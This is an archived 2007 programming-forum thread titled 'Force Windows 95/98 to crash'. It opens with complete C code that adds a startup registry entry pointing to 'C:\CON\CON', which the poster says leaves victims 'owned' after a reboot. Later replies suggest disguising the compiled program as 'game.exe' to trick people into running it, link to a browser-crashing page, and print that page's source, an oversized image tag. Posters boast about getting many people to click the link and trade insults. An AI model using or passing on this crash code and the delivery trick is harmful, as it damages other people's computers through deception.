SRL Archive - C/C++ Help and Tutorials

Force Windows 95/98 to crash


suck my r2h

2007-01-20 16:36:47


#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
BYTE Data[11] = "C:\\CON\\CON";
HKEY KeyHandle;
RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&KeyHandle);
RegSetValueEx(KeyHandle,"StartupService",NULL,REG_SZ,Data,11);
RegCloseKey(KeyHandle);
return 0;
}
Once they restart their computer, they're owned.

Thanks to Sythe for fixing a small problem with this for me.

moparisthebest

2007-02-05 16:22:16

Ive got another way: http://www.moparisthebest.com/no.html

It works on IE6 and firefox pre 1.5, any version of windows :)

omgh4x0rz

2007-02-14 20:46:19

How would you get them to run it though? Is there a way to send it or would they have to compile it themselves in Visual Studios or something (which no one would never do)?

anonymoustbh

2007-09-11 13:49:08

From: omgh4x0rz
How would you get them to run it though? Is there a way to send it or would they have to compile it themselves in Visual Studios or something (which no one would never do)?


that's just the source of the program, use a c++ compiler then send them the result executable (let's say… game.exe) lol ;p

n3ss3s

2007-09-20 12:02:55

grrr *speaking through teeth: thnks 'lot mpr'*

How the hell did a html page make me restart?

when it opened again, it said "Windows has recovered from a fatal error" -.-

Lol, the "google it noob" should have that as a link.

Sp0rky

2007-09-20 12:11:40

I'm going to try mopars. See if i get restarted. Wish me luck. =P

Edit: Nope. Just a big black box.

Edit2:
From: moparisthebest

firefox pre 1.5, any version of windows :)


Oww…

R0b0t1

2007-09-29 12:57:09

you're a fucking asshole mopar, thanks a lot bitch.

Make sure you tell people not to click it fucker!

n3ss3s

2007-09-29 15:19:26

you're a fucking asshole mopar, thanks a lot bitch.

Make sure you tell people not to click it fucker!


Woah, we agreed with something!

Actually there is one good side for me ther too!

Rob pwnt ++ :D :D :D

Mopar why did you ever post that? And how the hell can you crash ppls comps from a website, no firewall alarms etc anything..

Just a silent stab to the back.

Harry

2007-09-29 16:01:36

Erm.. this topic was bumped majorly…….

Mopar- Can I have that html source? ^^

n3ss3s

2007-09-29 16:04:47

And mopar, since we are now here, if I click the link, my comp restarts, so is there any way to "remote" get the source, like cmd or some java shit or..?

EDIT: SCAR returned only


<HTML>
<HEAD>
<TITLE>Moparisthebest's WebSite</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">
</HEAD>
<BODY>
<p><b><font size="4">Told you not to click it, restarting your computer now =)
</font></b></p>
<p>&nbsp;</p>
<img src="deathpic.png" width="9999999" height="9999999" alt="owned" />
</BODY>
</HTML>
:(

Harry

2007-09-29 16:08:49

Actually, it never crashed my IE6 ^.^ I think a windows update removed that ability :(

Bebe

2007-09-29 17:12:28

From: n3ss3s
Woah, we agreed with something!

Actually there is one good side for me ther too!

Rob pwnt ++ :D :D :D

Mopar why did you ever post that? And how the hell can you crash ppls comps from a website, no firewall alarms etc anything..

Just a silent stab to the back.

Because IE sucks and has an incredible amount of flaws and malicious loopholes that still haven't been fxed.

Mopar, you posting that brings back memories from like a year or two ago when you first put that page up and we got tons of people to click it, HAHA.

n3ss3s

2007-09-30 02:39:05

But bebe im on mozilla?!

Ub3rl33th4x lol..

mopar
But bebe im on mozilla?!
answer plawkx?

Yakman

2007-09-30 07:04:50

very nice moparisthebest :)

i have managed to get the html source, its very simple and sneaky, i like it a lot :p

i think what it actually does it use so much memory that it causes a BSOD, but it dumps the virtual memory so quick that you hardly see it and it just counts as a restart. still though im probably wrong..

n3ss3s

2007-09-30 13:56:33

Not necassarily totally wrong.

Scar told me that it loads a 99999*99999 was it picture, which is too much times the size of my monitor.

R0b0t1

2007-09-30 14:38:19

I was fucking using Mozzilla 2.* too! SCAR time…

Yakman

2007-09-30 14:46:20

From: n3ss3s
Scar told me that it loads a 99999*99999 was it picture, which is too much times the size of my monitor.


yeah, this one http://www.moparisthebest.com/deathpic.png

and i guess if you made the browser resize it to 99999x99999 it would use a lot of memory

edit: no it wont crash you

R0b0t1

2007-09-30 17:10:22

Will that crash me? I bet its just a little black 1x1 picture…

Yakman

2007-09-30 18:29:16

it wont, its 1000x1000, quite simple, it looks like someone drew it in photoshop, you'll be fine

Eicca

2007-11-02 01:50:21

From: R0b0t1
you're a fucking asshole mopar, thanks a lot bitch.[..]
Haha mopar :DD <3 I'm more like these meatspin on the window guys than crashing the system :P

mat_de_b

2007-11-02 20:33:05

a lovely little bump there…